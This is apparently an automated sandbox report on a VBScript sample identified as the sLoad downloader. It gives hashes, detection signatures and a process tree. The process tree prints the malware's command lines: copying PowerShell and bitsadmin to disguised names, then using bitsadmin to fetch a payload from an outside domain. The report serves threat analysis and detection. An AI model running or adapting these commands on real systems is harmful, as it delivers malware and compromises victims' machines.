Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    06-07-2024 21:00

General

  • Target

    29559f995653dd2346c9dfbd082e8106_JaffaCakes118.vbs

  • Size

    9KB

  • MD5

    29559f995653dd2346c9dfbd082e8106

  • SHA1

    5234aa0c46b9cd856d42d9952da3710edbebb329

  • SHA256

    db2b2aca54ef81c93e298620e3a8dc6ca812335f0306924fb060d2bd9fe0fc28

  • SHA512

    a42116e42dd6bbee0a7faf4c4f560ec2e94d03d63fc0a1c1ffe7555f04c80190f6c4c1e5829526823802a7c4226302ae916cfa25a74af6f51633084700096135

  • SSDEEP

    192:VFlRdcLMXrNDN8cPVAXSOh8TOhWDTaDrm8yhFdFxF9:NRgMXrNJ8cPVAXTh8TOsDTaDK8yl

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\29559f995653dd2346c9dfbd082e8106_JaffaCakes118.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aCWQUoY.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZpbZtRq*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aCWQUoY.exe
        3⤵
          PID:2212
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZpbZtRq*.exe
          3⤵
            PID:2132
        • C:\ProgramData\ZpbZtRqin.exe
          "C:\ProgramData\ZpbZtRqin.exe" /wrap /transfer pNivTrJI https://analyzare.com/annalisa/NRDMSM70P21H501S/lagos.xls C:\ProgramData\lagos.xls
          2⤵
          • Executes dropped EXE
          PID:3028

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\ZpbZtRqin.exe

        Filesize

        182KB

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51